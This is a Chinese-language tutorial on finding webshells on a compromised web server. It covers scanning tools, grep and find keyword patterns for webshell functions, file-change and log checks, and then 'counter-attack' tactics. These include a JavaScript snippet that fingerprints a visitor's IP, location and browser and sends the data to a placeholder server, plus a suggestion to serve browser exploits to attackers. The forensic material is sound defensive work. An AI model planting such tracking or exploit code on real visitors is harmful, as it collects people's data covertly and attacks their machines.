webshell溯源排查與反制
一、前言
溯源排查中比較重要的一環是web突破口排查,攻擊者通過web突破口入侵時,有極大的概率會寫入webshell,本文介紹下常見的webshell排查方法和流程。
二、工具查殺
使用d盾、安全狗、護衛神等webshell查殺工具查殺web目錄
1、d盾:
http://www.d99net.net/
3、網站安全狗:
https://www.safedog.cn/website_safedog.html
3、百度webshell查殺引擎:
https://scanner.baidu.com/#/pages/intro
三、手工查殺
由于某些變種webshell查殺工具很難發現,所以有些時候需要手工從其他維度去查殺,比如修改時間,日志,備份對比等。
1、上傳目錄關鍵字查找
上傳目錄是最有可能存在webshell的,一般來說需要優先排查上傳目錄
腳本代碼排查
grep -rn php upload/
關鍵字排查
eval、system、assert、phpspy、c99sh、milw0rm、gunerpress、shell_exec、passthru、bash等關鍵字
find /www/upload -name "*.php" |xargs egrep 'assert|bash|system|phpspy|c99sh|milw0rm|eval|\(gunerpress|\(base64_decoolcode|spider_bc|shell_exec|passthru|\(\$\_\POST\[|eval\(|file_put_contents|base64_decode'
2、web非上傳目錄排查增刪查改
如果上傳目錄沒有發現webshell,那么有可能攻擊者使用了除web上傳接口的其他途徑寫入了文件,如命令執行等,此時需要排查web目錄的非上傳路徑。
備份對比
對比非常傳目錄前后文件變動,尋找可疑文件,再進一步關鍵字匹配分析
vimdiff <(cd /tmp/1.1; find . | sort) <(cd /tmp/1.2; find . | sort)
3、時間戳排查
跟據情況調取短期內改動文件分析
find / -mtime -10 -mtime +1 2>/dev/null #一天前,十天內變動的文件
4、文件名排查
使用tree命令列舉整個web目錄文件,然后排查可疑文件
windows linux都可用
tree /var/www/
5、日志排查
cat /var/log/apache2/access.log | grep "antSword"
四、反向利用
1、篡改webshell頁面利用js獲取攻擊者信息。
利用js獲取信息例子
可獲取對方ip、系統時間、瀏覽器各項信息等
<html>
<head>
<meta charset="UTF-8">
<title>title>
head>
<body>
<script>
Date.prototype.Format = function (fmt) {
var o = {
"M+": this.getMonth() + 1, // 月份
"d+": this.getDate(), // 日
"h+": this.getHours(), // 小時
"m+": this.getMinutes(), // 分
"s+": this.getSeconds(), // 秒
"q+": Math.floor((this.getMonth() + 3) / 3), // 季度
"S": this.getMilliseconds() // 毫秒
};
if (/(y+)/.test(fmt))
fmt = fmt.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length));
for (var k in o)
if (new RegExp("(" + k + ")").test(fmt)) fmt = fmt.replace(RegExp.$1, (RegExp.$1.length == 1) ? (o[k]) : (("00" + o[k]).substr(("" + o[k]).length)));
return fmt;
}
script
> <script src="http://pv.sohu.com/cityjson?ie=utf-8">script>
<script>
document.write(returnCitySN["cip"]+','+returnCitySN["cname"]+"
")
script
> <script type="text/javascript">
let time = new Date().Format("yyyy-MM-dd hh:mm:ss")
document.write(time+"
")
script
> <script type="text/javascript">
document.write("userAgent: " + navigator.userAgent + "
");
document.write("appName: " + navigator.appName + "
");
document.write("appCodeName: " + navigator.appCodeName + "
");
document.write("appVersion: " + navigator.appVersion + "
");
document.write("appMinorVersion: " + navigator.appMinorVersion + "
");
document.write("platform: " + navigator.platform + "
");
document.write("cookieEnabled: " + navigator.cookieEnabled + "
");
document.write("onLine: " + navigator.onLine + "
");
document.write("userLanguage: " + navigator.language + "
");
document.write("mimeTypes.description: " + navigator.mimeTypes[1].description + "
");
document.write("mimeTypes.type: " + navigator.mimeTypes[1].type + "
");
document.write("plugins.description: " + navigator.plugins[3].description + "
");
var str_all = returnCitySN["cip"]+','+returnCitySN["cname"]+','+time+','+navigator.userAgent+','+navigator.appVersion+','+navigator.platform
var url = "http://xx.xx.xx.xx:8000/?info="+str_all
var request = new XMLHttpRequest();
request.open("GET",url)
request.send();
script
> body>
html
>
然后接收服務器寫一個小處理腳本將其保存下來
為求方便也可以使用xss平臺來接收
2、利用瀏覽器漏洞反制攻擊者。
可架設攻擊瀏覽器歷史漏洞的頁面,但是成功概率不高。
3、反制webshell管理工具
可參考文章《端內釣魚,反制蟻劍》
https://mp.weixin.qq.com/s/WNv9nPWvKudwimtYTd1zDQ